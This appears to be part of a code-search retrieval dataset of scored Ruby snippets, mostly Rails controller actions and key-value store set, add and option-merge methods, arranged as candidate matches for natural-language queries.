:descripción]}}},\n :galeria_imagenes => { :only => [:id,:titulo,:descripcion ] ,:methods => [:image_url]},\n :videos_productos => { :only => [:id,:titulo,:descripcion, :url]},\n :opinions => { :only => [:id,:nombre, :nacionalidad, :pais, :ciudad, :comentario]}})} \n\n end\n end",
"title": ""
},
{
"docid": "6dd2bc590f26df991a02bb14ef588843",
"score": "0.5250266",
"text": "def find\n @tipee = Tipee.find_by(qr_code: params[:qr_code])\n json_response(@tipee)\n end",
"title": ""
},
{
"docid": "eabe050d2a559cc9849365306dc1b5c1",
"score": "0.52459306",
"text": "def show\n @qr = RQRCode::QRCode.new(@store_product.qr_code_path.to_s, :size => 4, :level => :h)\n end",
"title": ""
},
{
"docid": "bf2485a44bd2bac97b222fbbbabdaec8",
"score": "0.524217",
"text": "def cr_generate_no\n project = params[:id]\n # Builds code, if possible\n code = project == '$' ? '$err' : cr_next_no(project)\n @json_data = { \"code\" => code }\n render json: @json_data\n end",
"title": ""
},
{
"docid": "25d00bd78b053e9173350a2e291e6c7a",
"score": "0.5241277",
"text": "def show\n @rg = Rg.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @rg }\n end\n end",
"title": ""
},
{
"docid": "19e8f7b23d8e28357d07790219cbffce",
"score": "0.5238466",
"text": "def new\n @gen_exp = GenExp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gen_exp }\n end\n end",
"title": ""
},
{
"docid": "2f60f5ebf1527505f871f340774a712c",
"score": "0.52381825",
"text": "def create\n @qr_code_reader = QrCodeReader.new(qr_code_reader_params)\n\n respond_to do |format|\n if @qr_code_reader.save\n format.html { redirect_to @qr_code_reader, notice: 'Se guardó exitosamente el registro.' }\n format.json { render :show, status: :created, location: @qr_code_reader }\n else\n format.html { render :new }\n format.json { render json: @qr_code_reader.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9b662aef1dce9332f900ef558778ed6f",
"score": "0.5228793",
"text": "def create\n @qr_code = QrCode.new(qr_code_params)\n\n respond_to do |format|\n if @qr_code.save\n format.html { redirect_to @qr_code, notice: 'Qr code was successfully created.' }\n format.json { render :show, status: :created, location: @qr_code }\n else\n format.html { render :new }\n format.json { render json: @qr_code.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
5720d2802d386673a8c3d1a213c1eed8 | add and set must have the same return value because of DalliStorewrite_entry | [
{
"docid": "f65fc14162c0e8fe34dbeeaec6c2d4fb",
"score": "0.0",
"text": "def op_addset_succeeds(rsp)\n rsp.is_a?(Integer) && rsp > 0\n end",
"title": ""
}
] | [
{
"docid": "fec2747b400efed4a6823da0b5b993b0",
"score": "0.65951437",
"text": "def my_set key, value\n @database[key] = value\n end",
"title": ""
},
{
"docid": "e3dcace51f5f93c30e170b9a47f0ced8",
"score": "0.6560765",
"text": "def store(key, value); end",
"title": ""
},
{
"docid": "e3dcace51f5f93c30e170b9a47f0ced8",
"score": "0.6560765",
"text": "def store(key, value); end",
"title": ""
},
{
"docid": "2028f9af7a5bb8899aec81c6fc99851c",
"score": "0.6266253",
"text": "def store(key, value)\n raise 'Not implemented'\n end",
"title": ""
},
{
"docid": "a9cb66b8848349f2f7d39f2670672757",
"score": "0.62552416",
"text": "def store(key, value)\n @seq << key unless has_key? key # Oder Set nehmen?\n super\n end",
"title": ""
},
{
"docid": "1d6596d3a2c4a1abb901ce8aa09395a5",
"score": "0.62512577",
"text": "def add_to_database\n id = self.class.data_store.keys.sort.last.to_i + 1\n instance_variable_set(:@id, id)\n self.class.data_store[id] = self\n end",
"title": ""
},
{
"docid": "0aff0a653a743e0566fe8ced5ede5bc6",
"score": "0.6204169",
"text": "def set(key, value)\n @store.add(key, value, 0, true)\n end",
"title": ""
},
{
"docid": "aa28528bf48c5bbaf6452c76b5feef13",
"score": "0.61771137",
"text": "def uid_store(set, attr, flags); end",
"title": ""
},
{
"docid": "3b960333288a07238aa4e2952113c42a",
"score": "0.6150365",
"text": "def lset(key, index, value); end",
"title": ""
},
{
"docid": "3b960333288a07238aa4e2952113c42a",
"score": "0.6150365",
"text": "def lset(key, index, value); end",
"title": ""
},
{
"docid": "6a51602772983023894ae46183895d00",
"score": "0.61227953",
"text": "def add(key, value); end",
"title": ""
},
{
"docid": "6a51602772983023894ae46183895d00",
"score": "0.61227953",
"text": "def add(key, value); end",
"title": ""
},
{
"docid": "a123399713ca6fc5257330d7190ef703",
"score": "0.6112135",
"text": "def add_db_entry(entry)\n\tself.db << entry unless self.db.include?(entry)\n end",
"title": ""
},
{
"docid": "d49a7256948ce963ae8fb80c71a6966e",
"score": "0.6086843",
"text": "def set(key, value); end",
"title": ""
},
{
"docid": "d49a7256948ce963ae8fb80c71a6966e",
"score": "0.6086843",
"text": "def set(key, value); end",
"title": ""
},
{
"docid": "d49a7256948ce963ae8fb80c71a6966e",
"score": "0.6086843",
"text": "def set(key, value); end",
"title": ""
},
{
"docid": "d49a7256948ce963ae8fb80c71a6966e",
"score": "0.6086843",
"text": "def set(key, value); end",
"title": ""
},
{
"docid": "d49a7256948ce963ae8fb80c71a6966e",
"score": "0.6086843",
"text": "def set(key, value); end",
"title": ""
},
{
"docid": "d49a7256948ce963ae8fb80c71a6966e",
"score": "0.6086843",
"text": "def set(key, value); end",
"title": ""
},
{
"docid": "d49a7256948ce963ae8fb80c71a6966e",
"score": "0.6086843",
"text": "def set(key, value); end",
"title": ""
},
{
"docid": "d49a7256948ce963ae8fb80c71a6966e",
"score": "0.6086843",
"text": "def set(key, value); end",
"title": ""
},
{
"docid": "478d6e5a215523432dfc729d78186c64",
"score": "0.6079972",
"text": "def write\n return id if not modified?\n @modified = false\n @id = store.put(self)\n end",
"title": ""
},
{
"docid": "c7b6240ea76d2b9cca12ca158c3e42bb",
"score": "0.60787505",
"text": "def add_to_store(*)\n do_insert\n @dirty = @new_record = false\n end",
"title": ""
},
{
"docid": "c7b6240ea76d2b9cca12ca158c3e42bb",
"score": "0.60787505",
"text": "def add_to_store(*)\n do_insert\n @dirty = @new_record = false\n end",
"title": ""
},
{
"docid": "99f86ec698bc304b168785a6ef3d8f42",
"score": "0.6061259",
"text": "def write_entry(key, entry, options) # :nodoc:\n method = options && options[:unless_exist] ? :add : :set\n value = options[:raw] ? entry.value.to_s : entry\n expires_in = options[:expires_in].to_i\n if expires_in > 0 && !options[:raw]\n # Set the memcache expire a few minutes in the future to support race condition ttls on read\n expires_in += 5.minutes\n end\n @data.send(method, escape_key(key), value, expires_in, options)\n rescue Dalli::DalliError => e\n logger.error(\"DalliError (#{e}): #{e.message}\") if logger\n false\n end",
"title": ""
},
{
"docid": "b3d6919e1780a986d94f1aafbf3924bb",
"score": "0.6055751",
"text": "def set(new_value); end",
"title": ""
},
{
"docid": "b3d6919e1780a986d94f1aafbf3924bb",
"score": "0.6055751",
"text": "def set(new_value); end",
"title": ""
},
{
"docid": "8a244fb75ae8c44637436a37ac31e859",
"score": "0.6054059",
"text": "def add_item(list, item, quantity = 1)\n list.store(item, quantity)\n list\n #list.haskey? item -if it exists update and if it doesn't exist update.\n #if/else\nend",
"title": ""
},
{
"docid": "e6b52fdd5073a06c62248df4de22a766",
"score": "0.6053058",
"text": "def add_or_update(id, metaData)\n\t\tend",
"title": ""
},
{
"docid": "8975f95936438911763d46097c40f12f",
"score": "0.60455453",
"text": "def set; end",
"title": ""
},
{
"docid": "8975f95936438911763d46097c40f12f",
"score": "0.60455453",
"text": "def set; end",
"title": ""
},
{
"docid": "8975f95936438911763d46097c40f12f",
"score": "0.60455453",
"text": "def set; end",
"title": ""
},
{
"docid": "8975f95936438911763d46097c40f12f",
"score": "0.60455453",
"text": "def set; end",
"title": ""
},
{
"docid": "14ff56323fbadf751633f982eebd5b5e",
"score": "0.60328037",
"text": "def save(key, value)\n @store[key] = value\n # puts \"[save:#{@internal.object_id}] #{key}: #{value}\"\n # !!@internal.store(key, value)\n end",
"title": ""
},
{
"docid": "4b624a80633e597e49a896cd29272f8f",
"score": "0.6030407",
"text": "def add(key, value, flag, expiration_time, bytes)\n if @values.key? key\n @values.move_to_end(key)\n return Output::NOT_STORED\n end\n new_value = Value.new(value, flag, expiration_time, bytes)\n @values.set(key, new_value)\n Output::STORED\n end",
"title": ""
},
{
"docid": "cf79e4ec212fb68fdf5ceee9b1fad112",
"score": "0.6007081",
"text": "def sadd(key, member); end",
"title": ""
},
{
"docid": "cf79e4ec212fb68fdf5ceee9b1fad112",
"score": "0.6007081",
"text": "def sadd(key, member); end",
"title": ""
},
{
"docid": "e480067c4a9d614700e5406850913d22",
"score": "0.5976151",
"text": "def test_dups\n\n k = random_key\n Store.set k, 'hi'\n\n #get\n (Store.get k) << 'gh'\n assert_equal 'hi', (Store.get k) \n\n # type\n (Store.type k) << 'nonsense'\n assert_equal 'string', (Store.type k)\n\n # set\n val = 'hi there'\n Store.set k, val\n val << ' and here'\n assert_equal 'hi there', (Store.get k)\n \n lk = random_key\n\n #rpush\n val = 'first'\n Store.rpush lk, val\n val << '_and_second'\n assert_equal 'first', (Store.lindex lk, 0)\n\n # lpush\n val = 'new first'\n Store.lpush lk, val\n val << ' or is it'\n assert_equal 'new first', (Store.lindex lk, 0)\n\n \n #lindex\n val = 'another new'\n Store.lpush lk, val\n (Store.lindex lk, 0) << ' with suffix'\n assert_equal 'another new', (Store.lindex lk, 0)\n\n #lset\n val = 'second'\n Store.lset lk, 1, val\n val << '_and_third'\n assert_equal 'second', (Store.lindex lk, 1)\n\n #linsert\n Store.del lk\n Store.rpush lk, 'first'\n Store.rpush lk, 'second'\n val = 'third'\n Store.linsert lk, 'after', 'second', val\n val << '_and_fourth'\n assert_equal 'third', (Store.lindex lk, -1)\n\n sk = random_key\n\n #sadd\n val = 'member'\n Store.sadd sk, val\n val << 'modification'\n assert (Store.sismember sk, 'member')\n \n ssk = random_key\n\n #zadd\n val = 'member'\n score = 1.2\n Store.zadd ssk, score, val\n val << 'modification'\n ##perturb score ??\n assert_equal '1.2', (Store.zscore ssk, 'member')\n assert_equal ['member'], (Store.zrange ssk, 0, 0)\n\n #zscore\n (Store.zscore ssk, 'member') << '3'\n assert_equal '1.2', (Store.zscore ssk, 'member')\n\n hk = random_key\n hkk = random_key\n\n Store.hset hk, hkk, 'hi'\n\n #hget\n (Store.hget hk, hkk) << 'gh'\n assert_equal 'hi', (Store.hget hk, hkk) \n\n #hset\n val = 'hi there'\n Store.hset hk, hkk, val\n val << ' and here'\n assert_equal 'hi there', (Store.hget hk, hkk)\n \n #hgetall\n hsh = Store.hgetall hk\n hsh['another'] = 'blah'\n assert_nil Store.hget hk, 'another'\n\n end",
"title": ""
},
{
"docid": "28f3fdad49b959defbe9c9ea6df3ade7",
"score": "0.59437007",
"text": "def store(contact, key, value)\n\t\t#TODO\n\tend",
"title": ""
},
{
"docid": "48eac3560ee988131995394cebb29e3f",
"score": "0.59414566",
"text": "def add(value)\n conn.sadd key, value\n self\n end",
"title": ""
},
{
"docid": "f1a9cfa1f5c784a35508ef102c5926f9",
"score": "0.59321916",
"text": "def set(key, value)\n db[key] = value\n end",
"title": ""
},
{
"docid": "dadfa7f812663b1f0a05bf50d3e257d2",
"score": "0.592044",
"text": "def add(value)\n #raise some error if @size == @storage.length\n @storage[@size] = value\n @size += 1\n end",
"title": ""
},
{
"docid": "2472afed553431e8c4fad7321d29fd87",
"score": "0.59165305",
"text": "def dup_and_store(key,value)\n regular_writer(__convert_key(key), __convert_value(value))\n end",
"title": ""
},
{
"docid": "c70ecf80becbbff7b26ebb99d0d58157",
"score": "0.5913294",
"text": "def set(*args)\n self.store.set(*args)\n end",
"title": ""
},
{
"docid": "a8e2ab8f1a3ba697515a8b3b1f5db652",
"score": "0.587785",
"text": "def []=(key, value)\n key = @serializer.key_for(key)\n @journal << [key, value]\n @table[key] = value\n end",
"title": ""
},
{
"docid": "c7dfab7cb44f1503b5b3bdfe9cb7a65a",
"score": "0.5873714",
"text": "def []=(key, value)\n key = @serializer.key_for(key)\n @journal << [key, value]\n @table[key] = value\n end",
"title": ""
},
{
"docid": "5d54d1602384890e617f19a19d6bacdf",
"score": "0.586369",
"text": "def add data\n master.update :add, data\n end",
"title": ""
},
{
"docid": "4ee4351338c4c0d826500e83bf3118cc",
"score": "0.5859642",
"text": "def addDataStore \r\n\r\n writeDataStore(DATA_STORE_CALL_ADD) \r\n\r\n end",
"title": ""
},
{
"docid": "a5a34e8846ae667ac105be74999628e2",
"score": "0.5852587",
"text": "def get_and_set(new_value); end",
"title": ""
},
{
"docid": "a5a34e8846ae667ac105be74999628e2",
"score": "0.5852587",
"text": "def get_and_set(new_value); end",
"title": ""
},
{
"docid": "6a534114ab88d5a63aab0d017cda8569",
"score": "0.585251",
"text": "def set(key, value)\n @_store.set(key, value)\n end",
"title": ""
},
{
"docid": "32fab00467cb227fa4f82d49dd9331f5",
"score": "0.5850952",
"text": "def set(key, value, flag, expiration_time, bytes)\n new_value = Value.new(value, flag, expiration_time, bytes)\n @values.set(key, new_value)\n Output::STORED\n end",
"title": ""
},
{
"docid": "c790f5eb23918763223c656818045210",
"score": "0.58429927",
"text": "def write(key, value)\n items.create(value.merge(:id => key))\n end",
"title": ""
},
{
"docid": "5d49f0da090460968586d250748e7061",
"score": "0.5828597",
"text": "def add(value)\n raise \"bad things\" if @size == storage.length\n @storage[@size] = value\n @size += 1\n end",
"title": ""
},
{
"docid": "f619daee54be21fb9bf0a612bb28722a",
"score": "0.5825275",
"text": "def put(key, value); end",
"title": ""
},
{
"docid": "f619daee54be21fb9bf0a612bb28722a",
"score": "0.5825275",
"text": "def put(key, value); end",
"title": ""
},
{
"docid": "f619daee54be21fb9bf0a612bb28722a",
"score": "0.5825275",
"text": "def put(key, value); end",
"title": ""
},
{
"docid": "f619daee54be21fb9bf0a612bb28722a",
"score": "0.5825275",
"text": "def put(key, value); end",
"title": ""
},
{
"docid": "a0088337105b0f38551a68e820881904",
"score": "0.5812682",
"text": "def add(item, quantity)\n @list.store(item, quantity)\nend",
"title": ""
},
{
"docid": "c242ef9b22709d20a172d1009e602765",
"score": "0.57946414",
"text": "def put(key, value)\r\n \r\n end",
"title": ""
},
{
"docid": "2f92b2bbbaf1185a370a1f5bd911bcaf",
"score": "0.5784064",
"text": "def store(key, value)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "93d88274eed829683c2f2649492da0c4",
"score": "0.5781321",
"text": "def add_entry_to_set(entry, ret, seen, entries, all_entries)\n return if seen.include?(entry)\n\n seen << entry\n req = required_entries(entry.required, entries, entry, all_entries)\n req.each do |required|\n next if required.nil?\n add_entry_to_set(required, ret, seen, entries, all_entries)\n end\n ret << entry\n end",
"title": ""
},
{
"docid": "9e11068cb3cc000a0f5d20d1d8834908",
"score": "0.5779395",
"text": "def []= key, val\n @store[key] = val\n end",
"title": ""
},
{
"docid": "4a15d4ebde8939a40dd75914476ee25a",
"score": "0.57739604",
"text": "def add(value)\n raise \"bad things\" if @size == @storage.length\n @storage[@size] = value\n @size += 1\n end",
"title": ""
},
{
"docid": "4a15d4ebde8939a40dd75914476ee25a",
"score": "0.57739604",
"text": "def add(value)\n raise \"bad things\" if @size == @storage.length\n @storage[@size] = value\n @size += 1\n end",
"title": ""
},
{
"docid": "4a15d4ebde8939a40dd75914476ee25a",
"score": "0.57739604",
"text": "def add(value)\n raise \"bad things\" if @size == @storage.length\n @storage[@size] = value\n @size += 1\n end",
"title": ""
},
{
"docid": "4a15d4ebde8939a40dd75914476ee25a",
"score": "0.57739604",
"text": "def add(value)\n raise \"bad things\" if @size == @storage.length\n @storage[@size] = value\n @size += 1\n end",
"title": ""
},
{
"docid": "30566450ac475b182b77bb7b5127fa64",
"score": "0.57712275",
"text": "def add_or_update_item(list, item, quantity = 1)\r\n list[item] = quantity\r\n list\r\nend",
"title": ""
},
{
"docid": "aa37dc5f0299da305589c47b343b250d",
"score": "0.5770501",
"text": "def set(key, value)\r\n instance_variable_set \"@#{key}\", value\r\n attributes << key unless attributes.include? key\r\n store.transaction do\r\n if store_key\r\n store[store_key] ||= {}\r\n store[store_key][key] = value\r\n else\r\n store[key] = value\r\n end\r\n end \r\n end",
"title": ""
},
{
"docid": "45172e8c8e28efdfb4f409a97a8106f3",
"score": "0.57670116",
"text": "def set(key,flag,time,size,value,noreply)\n\t\tif @hashmap.key?(key)\n\t\t\tentry=@hashmap[key]\n\t\t\tupdate_node(entry,value,size,get_time(time),flag)\n\t\t\tcheck_LRU_size(size)\n\t\telse\n\t\t\tentry=Entry.new(key,flag,time,size,value)\n\t\t\tcheck_LRU_size(size)\n\t\t\tadd_at_top(entry) \n\t\t\t@hashmap[key]=entry\n\t\tend\n\t\tif noreply==false\n\t\t\tSTORED_MESSAGE\n\t\tend\n\tend",
"title": ""
},
{
"docid": "8e3252f60e075660a11d86392ce8b05c",
"score": "0.5761454",
"text": "def store(key, value)\n value = apply_store_hook(key, value)\n key = aliases[key] || key\n super(key, value) unless @frozen_keys.include?(key)\n end",
"title": ""
},
{
"docid": "c06060737d2ec8ddd777018ac8b14b7e",
"score": "0.575791",
"text": "def lset(key, index, value)\n\t\tlist = get_l(key)\n\t\tlist[index] = value\n\t\tset(key, list)\n\tend",
"title": ""
},
{
"docid": "1a01e1641acb0c07462609bf1a9ba1e3",
"score": "0.57553226",
"text": "def add_entry_to_set(entry, ret, seen, entries, all_entries)\n return if seen.include?(entry)\n\n seen << entry\n req = required_entries(entry[:required], entries, entry, all_entries)\n req.each do |required|\n add_entry_to_set(required, ret, seen, entries, all_entries)\n end\n ret << entry\n end",
"title": ""
},
{
"docid": "a95e2fc96bd5a6d1d1b0dd29be5d3aad",
"score": "0.5754941",
"text": "def add(key)\n \n end",
"title": ""
},
{
"docid": "bbbc5bdf20c155c886a70ecee19b616b",
"score": "0.57544285",
"text": "def put(obj)\n @db[obj.id] = obj\n obj # return really ought not be checked\n end",
"title": ""
},
{
"docid": "451bf79ba7feaa1a33378bf19e601a54",
"score": "0.5750761",
"text": "def []=(key,value)\n store(key,value)\n end",
"title": ""
},
{
"docid": "2ee225e763115e0603449843f3fbbf35",
"score": "0.5742699",
"text": "def hset(key, field, value)\n $alfred.hset(key, field, value)\n end",
"title": ""
},
{
"docid": "31cc6245260db3d07b0e5a6fa60f0536",
"score": "0.5731749",
"text": "def set(value); end",
"title": ""
},
{
"docid": "6159f23b39a18287e3282b3e116c4a62",
"score": "0.57278836",
"text": "def set(id,value)\n connection = @pool.get_connection(dbname)\n if value.is_a?(String)\n value = value.to_java_bytes\n type = 0\n else\n type = 1\n end\n\n if dbtype == :mysql\n s = connection.prepare_statement(\"INSERT INTO entities (id,value,datatype) VALUES (?,?,?) ON DUPLICATE KEY UPDATE value=VALUES(value)\")\n else\n s = connection.prepare_statement(\"INSERT INTO entities (id,value,datatype) VALUES (?,?,?)\")\n end\n \n s.setString(1,id.to_java_string)\n s.setBytes(2,value)\n s.setInt(3,type)\n s.execute_update\n s.close\n connection.close\n end",
"title": ""
},
{
"docid": "252e52e049a551074ed5bf126ebbb747",
"score": "0.5722383",
"text": "def add_set(key1, key2, value)\n\t\t@corpus.has_key?([key1,key2]) ? @corpus[[key1,key2]] << value : @corpus[[key1,key2]] = [value]\n\tend",
"title": ""
},
{
"docid": "addaee95d0899fbaf1fb789abdc0787c",
"score": "0.57060426",
"text": "def add key, value\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "a161f3144deda2d4b862171265f4d383",
"score": "0.57019174",
"text": "def set(**args)\n db.transaction do\n args.each do |key, val|\n if val.nil?\n db.delete(key)\n else\n db[key] = val\n end\n end\n end\n end",
"title": ""
},
{
"docid": "355faacd2a20e305a0af313e6b1836d2",
"score": "0.57012796",
"text": "def store(key, value)\n super(*cast_pair(key, value))\n end",
"title": ""
},
{
"docid": "9ad70504daa7f3b28152c6e3f49ee30d",
"score": "0.5701124",
"text": "def insert(key, val)\r\n \r\n end",
"title": ""
},
{
"docid": "9a5a8577f7a6ba43a15db6c5be5bd254",
"score": "0.5683388",
"text": "def append(key, value, flag, expiration_time, bytes)\n return Output::NOT_STORED unless @values.key? key\n\n new_value = Value.new(@values.get(key).value + value, flag, expiration_time, bytes)\n @values.set(key, new_value)\n Output::STORED\n end",
"title": ""
},
{
"docid": "a12d18e3a9b86c899d52c5b4a9ebbf42",
"score": "0.5683365",
"text": "def add_item(item, hash)\n hash[item] = 1\n hash \nend",
"title": ""
},
{
"docid": "fe2935a05329251db95a94650921b423",
"score": "0.5681836",
"text": "def []=(*args)\n key,value = args\n if args.first.kind_of?(Integer) # Fixnum)\n return self.fa_set(*args)\n elsif self.has_key?(key)\n return self.set_value(key,value)\n else\n return self.add(key,value)\n end\n end",
"title": ""
},
{
"docid": "31a0ea8339ceb310b2820fabaac50f88",
"score": "0.5673425",
"text": "def store_value(key, value)\n @store[key] = value\n end",
"title": ""
},
{
"docid": "b406b68c5e818c769279b37c8bbff787",
"score": "0.5672071",
"text": "def add(data)\n length = data.keys.count\n @@store[length] = @@store[length] << data\n end",
"title": ""
},
{
"docid": "15d0b6f13bc2d83974012ef81a56ee46",
"score": "0.5669026",
"text": "def write(key, value, expires=Time.now + default_longevity)\n clear\n @store[key] = Entry.new(value, expires)\n end",
"title": ""
},
{
"docid": "8f5a51dc14e208ee600021bb55986c1e",
"score": "0.56683505",
"text": "def store; end",
"title": ""
},
{
"docid": "8f5a51dc14e208ee600021bb55986c1e",
"score": "0.56683505",
"text": "def store; end",
"title": ""
},
{
"docid": "8f5a51dc14e208ee600021bb55986c1e",
"score": "0.56683505",
"text": "def store; end",
"title": ""
},
{
"docid": "8f5a51dc14e208ee600021bb55986c1e",
"score": "0.56683505",
"text": "def store; end",
"title": ""
},
{
"docid": "8f5a51dc14e208ee600021bb55986c1e",
"score": "0.56683505",
"text": "def store; end",
"title": ""
},
{
"docid": "dc0adac70e267056403c21151bd63c54",
"score": "0.56667495",
"text": "def insert(key, val)\n \n end",
"title": ""
},
{
"docid": "dc0adac70e267056403c21151bd63c54",
"score": "0.56667495",
"text": "def insert(key, val)\n \n end",
"title": ""
},
{
"docid": "08b49d4b524310a06f55e99851d6ce28",
"score": "0.5665772",
"text": "def put(key, value)\n \n end",
"title": ""
},
{
"docid": "08b49d4b524310a06f55e99851d6ce28",
"score": "0.5665772",
"text": "def put(key, value)\n \n end",
"title": ""
},
{
"docid": "08b49d4b524310a06f55e99851d6ce28",
"score": "0.5665772",
"text": "def put(key, value)\n \n end",
"title": ""
},
{
"docid": "08b49d4b524310a06f55e99851d6ce28",
"score": "0.5665772",
"text": "def put(key, value)\n \n end",
"title": ""
}
] |
98815db82f7d0a806cb6aea1abc0e8fe | Takes the options from the default trait for merging. | [
{
"docid": "0389923f6680c2c40340de0709676e57",
"score": "0.0",
"text": "def initialize(options = {})\n options = class_trait[:defaults].merge(options).values_at(:host, :name, :all_notifies, :default_notifies, :password)\n super(*options)\n end",
"title": ""
}
] | [
{
"docid": "198870d329785067ff6d2b583db95a9b",
"score": "0.7917477",
"text": "def merge(new_options); end",
"title": ""
},
{
"docid": "cfb9373a62a7dce65974573858bb3ae2",
"score": "0.7708634",
"text": "def merge(opts); end",
"title": ""
},
{
"docid": "e889d48fd7fc8cb38aaac7709ad8c9ff",
"score": "0.7432944",
"text": "def merged_options\n type.merge(options)\n end",
"title": ""
},
{
"docid": "098650d0cd1534db594e6d6fe91718cf",
"score": "0.72352695",
"text": "def merge\n result = {}.tap do |overwrite|\n defaults.keys.each do |key|\n overwrite[key] = case\n when options[key] != defaults[key]\n options[key]\n when config[key].present?\n config[key]\n when options[key].present?\n options[key]\n else\n defaults[key]\n end\n end\n end\n\n Hashie::Mash.new(\n result\n )\n end",
"title": ""
},
{
"docid": "9610fe95bcf2a9a4f601bf80448affb8",
"score": "0.7220032",
"text": "def merge_options!(options)\n @options.merge! options\n end",
"title": ""
},
{
"docid": "8af1b9802e9a21ee2568afa7e97f30f9",
"score": "0.6980311",
"text": "def merged_options(call_options); end",
"title": ""
},
{
"docid": "752aca04f249a0326460a25a35d52317",
"score": "0.6944308",
"text": "def merge_options(options)\n with_generated(@default_options.merge(@operation_default_options, options))\n end",
"title": ""
},
{
"docid": "14213b746c29d0698df3eb5d5879aa3b",
"score": "0.69270754",
"text": "def merge_opts *ox\n defaults = ox.last\n Hash[ defaults.keys.map do |k|\n [ k, ox.detect{ |h| h.key?(k) }[k] ]\n end ]\n end",
"title": ""
},
{
"docid": "11d05409b9197cfdb0b8bb9e167ce5f5",
"score": "0.6921496",
"text": "def merge!(options)\n options.each { |k,v| send(\"#{k}=\", v) }\n end",
"title": ""
},
{
"docid": "79ef58793851552e929566ca96e4a9b4",
"score": "0.68759364",
"text": "def merge(options)\n\t\t\tif options.is_a? Hash\n\n\t\t\t\t# Convert keys to symbols\n\t\t\t\toptions = options.deep_symbolize_keys\n\n\t\t\t\t# Merge with config options loaded earlier (with lower priority)\n\t\t\t\t@table.merge!(options)\n\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "f9e5ea869e32bf3d02142fbca977c9b2",
"score": "0.6838901",
"text": "def merge(options)\n OPTIONS.keys.each do |name|\n instance_variable_set(\"@#{name}\", options[name]) if options[name]\n end\n end",
"title": ""
},
{
"docid": "d98110f714623f5b38fe671aa4995557",
"score": "0.67628527",
"text": "def merge(*args)\n # spec check will be done in #initialize\n self.class.new(merge_hash(*args, spec: false))\n end",
"title": ""
},
{
"docid": "32f1e325dd316e76cb65574309bf53b3",
"score": "0.6754842",
"text": "def merge(new_options)\n dup.merge!(new_options)\n end",
"title": ""
},
{
"docid": "170c18a20f1658184fd10d9c2466f45a",
"score": "0.6732805",
"text": "def merge_custom_defaults!; end",
"title": ""
},
{
"docid": "170c18a20f1658184fd10d9c2466f45a",
"score": "0.6732805",
"text": "def merge_custom_defaults!; end",
"title": ""
},
{
"docid": "5b03d98f7c10607020c1b7cb33efb178",
"score": "0.6719696",
"text": "def merge!\n @base.strategy = strategy if strategy.present?\n @base.rubies = rubies unless rubies.nil?\n @base.specific_options = specific_options if specific_options.present?\n @base.test_framework = test_framework if test_framework.present?\n @base.framework = framework if framework.present?\n @base.infinity_and_beyond = infinity_and_beyond unless infinity_and_beyond.nil?\n @base.verbose = verbose unless verbose.nil?\n @base.bundler = bundler unless bundler.nil?\n @base\n end",
"title": ""
},
{
"docid": "154a7f8637dd1d69646028e2a53c8307",
"score": "0.6717312",
"text": "def with_options(options)\n yield Mack::Utils::OptionMerger.new(self, options)\n end",
"title": ""
},
{
"docid": "2c18e09fd849b5bb9fcc74dbfed08a93",
"score": "0.6715816",
"text": "def merge_defaults!(config)\n MERGE_DEFAULT.each do |option|\n if config[option].kind_of?(Array)\n config[option] = (DEFAULTS[option] | config[option])\n end\n end\n\n config\n end",
"title": ""
},
{
"docid": "3eca9ce712ac39c0342868114188b54b",
"score": "0.66924936",
"text": "def defaults_merge(opt)\n DEFAULTS.merge(opt) do |_, from_default, from_opt|\n from_opt || from_default\n end\n end",
"title": ""
},
{
"docid": "ed2d76d1d67475857c807cd98e7cce9c",
"score": "0.6690514",
"text": "def merge_options(options)\n sources_of_options = [default_options] + config_from_files + [options]\n sources_of_options.reduce({}) { |merged_result, next_options_hash| merged_result.merge(next_options_hash) }\n end",
"title": ""
},
{
"docid": "fa89076e0ae9cc662e360a2eafb9daea",
"score": "0.6687026",
"text": "def rake_merge_option(args, defaults)\n if Hash === args.last\n defaults.update(args.last)\n args.pop\n end\n args.push defaults\n args\n end",
"title": ""
},
{
"docid": "c94eafb23c40831a5d30ff6876721b1a",
"score": "0.6677869",
"text": "def merge(options)\n Options.new(@options.merge(options.to_h))\n end",
"title": ""
},
{
"docid": "201369bb68f63698f20d736051f6f31c",
"score": "0.6673311",
"text": "def rake_merge_option(args, defaults)\n if Hash === args.last\n defaults.update(args.last)\n args.pop\n end\n args.push defaults\n args\n end",
"title": ""
},
{
"docid": "201369bb68f63698f20d736051f6f31c",
"score": "0.6673311",
"text": "def rake_merge_option(args, defaults)\n if Hash === args.last\n defaults.update(args.last)\n args.pop\n end\n args.push defaults\n args\n end",
"title": ""
},
{
"docid": "7a29a8016a96d387e58ff84fe52a2e5d",
"score": "0.6663326",
"text": "def merge(options)\n unless options\n return CallSettings.new(timeout: @timeout,\n retry_options: @retry_options,\n page_descriptor: @page_descriptor,\n page_token: @page_token,\n bundler: @bundler,\n bundle_descriptor: @bundle_descriptor,\n kwargs: @kwargs,\n errors: @errors)\n end\n\n timeout = if options.timeout == :OPTION_INHERIT\n @timeout\n else\n options.timeout\n end\n retry_options = if options.retry_options == :OPTION_INHERIT\n @retry_options\n else\n options.retry_options\n end\n page_token = if options.page_token == :OPTION_INHERIT\n @page_token\n else\n options.page_token\n end\n\n kwargs = @kwargs.dup\n kwargs.update(options.kwargs) if options.kwargs != :OPTION_INHERIT\n\n CallSettings.new(timeout: timeout,\n retry_options: retry_options,\n page_descriptor: @page_descriptor,\n page_token: page_token,\n bundler: @bundler,\n bundle_descriptor: @bundle_descriptor,\n kwargs: kwargs,\n errors: @errors)\n end",
"title": ""
},
{
"docid": "4252e1c341a6cb65ad6b7fb836a7e988",
"score": "0.665532",
"text": "def merged_options(call_options) # :nodoc:\n if call_options\n options.merge(call_options)\n else\n options.dup\n end\n end",
"title": ""
},
{
"docid": "8e8e1d0ae6622fc5bc0c1f4d0e1e2fc5",
"score": "0.66437984",
"text": "def merge!( options )\n options.to_hash.each_pair do |k, v|\n next if !v\n next if ( v.is_a?( Array ) || v.is_a?( Hash ) ) && v.empty?\n send( \"#{k.to_s}=\", v ) rescue NoMethodError\n end\n self\n end",
"title": ""
},
{
"docid": "6f5dfe04bafe53a0825ad2bd7a75d829",
"score": "0.6597361",
"text": "def merge(opts)\n dup.update(opts)\n end",
